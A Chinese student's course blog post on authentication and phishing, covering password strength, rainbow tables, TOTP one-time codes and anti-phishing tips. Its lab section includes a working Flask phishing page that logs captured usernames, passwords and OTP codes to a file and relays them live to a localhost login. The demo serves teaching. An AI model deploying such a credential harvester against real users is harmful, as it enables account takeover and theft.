身份认证与信息管理:简单实验模拟钓鱼网页
学期2025-2026-1 学号20252332 《网络》第六自学总结“身份认证与信息管理”
目录
初识安全
身份认证与信息管理实验
提取图片方法
后记
初识安全
《网络空间安全导论(微课版)》第六章理解
身份认证与信息管理实验
概念解析略
1.先用你的密码安全吗?实验一下设置的密码安全性



2.演示彩虹表攻击原理(展示简单哈希值破解过程)
为了降低链中因不同密码产生相同哈希(即“碰撞”)而导致链合并失效的概率,彩虹表在构建哈希链的每一步使用不同的归约函数(R函数)。R函数的作用是将哈希值映射回一个可能的明文密码空间。这就像彩虹的光谱,不同位置颜色不同,因此得名“彩虹表”。
在线彩虹表



3.动态验证码防钓鱼
- 动态验证码(也称为一次性密码,One-Time Password, OTP)在防止钓鱼攻击中起着至关重要的作用。
- 它的核心原理是:即使攻击者通过钓鱼网站获取了用户的账号和静态密码,由于动态验证码是一次性的且与用户绑定的设备(如手机)相关,攻击者无法获取到当前有效的验证码,因此无法完成登录。
- 然而,需要注意的是,动态验证码并不能完全防止钓鱼攻击。高级的钓鱼攻击可能会使用实时中间人(MitM)攻击,即攻击者将用户引导至一个伪造的网站,该网站会实时将用户输入的凭证(包括动态验证码)转发到真正的网站,从而在验证码过期前完成登录。
- 为了防范这种攻击,可以采用以下措施:
*使用具有挑战-应答机制的动态验证码(如TOTP,基于时间的一次性密码)而不是短信验证码,因为短信可能被拦截(尽管TOTP也可能被实时钓鱼,但难度更大)。
*使用硬件安全密钥(如FIDO U2F)或推送认证,这些方式能够验证网站的真实性(通过验证域名的数字证书),从而防止中间人攻击。
实验钓鱼:
# 真实网站代码示例
from flask import Flask, request, render_template_string
import pyotp
app = Flask(__name__)
# 假设每个用户有一个共享密钥,用于生成TOTP
user_secret = "JBSWY3DPEHPK3PXP"
@app.route('/')
def index():
return render_template_string('''
<form method="post">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="text" name="otp" placeholder="OTP">
<button type="submit">Login</button>
</form>
''')
@app.route('/', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
otp = request.form['otp']
# 验证密码和OTP
if password == "correctpassword" and pyotp.TOTP(user_secret).verify(otp):
return "Login successful!"
else:
return "Login failed!"
if __name__ == '__main__':
app.run(port=5000)

from flask import Flask, request, render_template_string
import requests
app = Flask(__name__)
@app.route('/')
def index():
return render_template_string('''
<form method="post">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="text" name="otp" placeholder="OTP">
<button type="submit">Login</button>
</form>
''')
@app.route('/', methods=['POST'])
def steal_credentials():
username = request.form['username']
password = request.form['password']
otp = request.form['otp']
# 记录窃取的凭证
with open("stolen_credentials.txt", "a") as f:
f.write(f"Username: {username}, Password: {password}, OTP: {otp}\n")
# 同时尝试用这些凭证登录真实网站
response = requests.post("http://localhost:5000", data={
"username": username,
"password": password,
"otp": otp
})
# 如果登录成功,攻击者可以执行其他操作
if "successful" in response.text:
return "Phishing successful! (But this is just a demo)"
else:
return "Phishing failed!"
if __name__ == '__main__':
app.run(port=5001)

4.🔍 为什么动态验证码能防钓鱼?
- 物理设备隔离
验证码发送到用户的个人设备(手机),与浏览器环境物理隔离。 - 上下文感知
正规服务在发送验证码时通常会包含:
服务标识:"【XX大学】您的验证码是..."
操作提醒:"如非本人操作请忽略"
安全警告:"切勿将验证码告知他人" - 时间窗口限制
攻击者必须在极短时间内:
诱骗用户在钓鱼网站输入验证码
使用该验证码登录正规网站
这个时间窗口通常只有1-5分钟。
5.⚠️ 高级钓鱼攻击的威胁
尽管动态验证码很有效,但仍有高级攻击手段: - 实时中间人攻击
攻击者建立双向代理:
用户 ↔ 钓鱼网站 ↔ 正规网站
用户在所有操作中都能看到"正常"的界面,包括输入验证码。 - 钓鱼工具包
某些高级钓鱼工具能:
自动转发用户输入的验证码
在几秒内完成登录
5.应用场景中的动态验证码
import pyotp
import time
import qrcode
from datetime import datetime
import os # 添加os模块
class DynamicAuthSystem:
def __init__(self):
self.users = {}
def register_user(self, username):
"""为用户注册动态验证码"""
# 生成随机密钥
secret = pyotp.random_base32()
# 创建TOTP对象
totp = pyotp.TOTP(secret, interval=30) # 30秒有效期
# 存储用户信息
self.users[username] = {
'secret': secret,
'totp': totp,
'last_login': None
}
# 生成配置URI(用于身份验证器App)
provisioning_uri = totp.provisioning_uri(
name=username,
issuer_name="校园安全系统"
)
return secret, provisioning_uri
def generate_qr_code(self, provisioning_uri, username):
"""生成二维码(用于身份验证器App扫描)"""
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(provisioning_uri)
qr.make(fit=True)
# 保存二维码图片 - 修改保存路径
save_directory = r"E:\课-网安\网导6\web_python" # 使用原始字符串避免转义问题
# 确保目录存在
if not os.path.exists(save_directory):
os.makedirs(save_directory)
print(f"📁 创建目录: {save_directory}")
filename = f"{username}_2fa_qr.png"
full_path = os.path.join(save_directory, filename) # 组合完整路径
img = qr.make_image(fill_color="black", back_color="white")
img.save(full_path)
print(f"✅ 二维码已保存为: {filename}")
print(f"📁 完整路径: {full_path}")
return full_path # 返回完整路径
def verify_login(self, username, password, otp_code):
"""验证用户登录(包含动态验证码)"""
if username not in self.users:
return False, "用户不存在"
user_data = self.users[username]
totp = user_data['totp']
# 验证动态验证码
if totp.verify(otp_code):
user_data['last_login'] = datetime.now()
return True, "登录成功"
else:
return False, "动态验证码错误或已过期"
def get_current_otp(self, username):
"""获取用户当前的动态验证码(用于测试)"""
if username in self.users:
return self.users[username]['totp'].now()
return None
def demo_dynamic_auth():
"""演示动态验证码系统"""
print("🚀 动态验证码系统演示")
print("=" * 50)
# 显示当前工作目录
current_dir = os.getcwd()
print(f"📂 当前工作目录: {current_dir}")
# 创建认证系统实例
auth_system = DynamicAuthSystem()
# 注册用户
username = "student_2024"
secret, provisioning_uri = auth_system.register_user(username)
print(f"👤 用户名: {username}")
print(f"🔑 密钥: {secret}")
print(f"📱 配置URI: {provisioning_uri}")
# 生成二维码
qr_filename = auth_system.generate_qr_code(provisioning_uri, username)
print("\n📋 登录测试:")
print("-" * 30)
# 获取当前验证码
current_otp = auth_system.get_current_otp(username)
print(f"📟 当前验证码: {current_otp}")
# 测试正确验证码
success, message = auth_system.verify_login(username, "password123", current_otp)
print(f"✅ 正确验证码测试: {message}")
# 测试错误验证码
success, message = auth_system.verify_login(username, "password123", "000000")
print(f"❌ 错误验证码测试: {message}")
print(f"\n⏰ 验证码将在 {30 - (int(time.time()) % 30)} 秒后更新")
# 提供打开文件的提示
print(f"\n💡 要查看二维码,请打开文件: {qr_filename}")
if __name__ == "__main__":
demo_dynamic_auth()
6.如何谨防钓鱼?
检查域名:始终确认访问的是正规域名
使用密码管理器:自动填充只在正规网站工作
关注浏览器安全标识:锁形图标、HTTPS等
启用生物识别:指纹/面部识别作为第二因素
7.安全守则速记
✅ 3要原则
密码要12位混合字符(大小写+数字+符号)
重要账号要开启MFA(如微信/邮箱)
公共电脑登录要退出账号
❌ 3不原则
不重复使用同一密码
不点击“记住密码”弹窗
不透露验证码(客服索要=诈骗)
提取图片方法
在vscode上编辑的截图,复制到博客园上无法显示,需要一张一张手动修正。太麻烦。但是利用dotnet就会方便很多。
具体操作:Dotnet-cnblog使用


dotnet-cnblog proc -f<markdown路径>
(然而最后还是从vscode里下载博客园插件。以后直接在vscode里写博客)
后记
0.(ps:这周任务好多,实验拖不了了emmm...)
1.钓鱼违法,本实验任何操作均进行于实验环境
2.代码均为AI,已经学习基础shell命令。
3.做着实验回想起来刚上大一前两个月做创新比赛,选择从零开始学renpy,3个晚上。都是些简单的python,跳转之类的。请教AI语法(在真正的创意想法中,用AI做出来的像笨蛋)马马虎虎的1200多行,路演开始40分钟还在纠正代码(苦笑)。虽然做好后没多少人看,但是尝试玩的都没通关,都没来得及做测试体验,想着能运行就OK了。后来检查发现有个label跳错了,一直循环(哈哈哈)。今天又开始熬夜敲代码了(加上飞起的工作),但是有一种兴奋感(想缓缓的敲一个 ?)。在压力下好像更有干劲(我还是挺想好好休息的,要保证学业,我的数学),没有这种"压力"每天有空就想睡觉,还睡不够。
4.今天话好多。早上见,高数。
5.第二天又来修正,补一个dotnet,补一个博客园插件。但图片生成并没有很成功。
6.什么都想赶,一气喝成。但前期试错也需要时间,对点打磨也需要时间。

浙公网安备 33010602011771号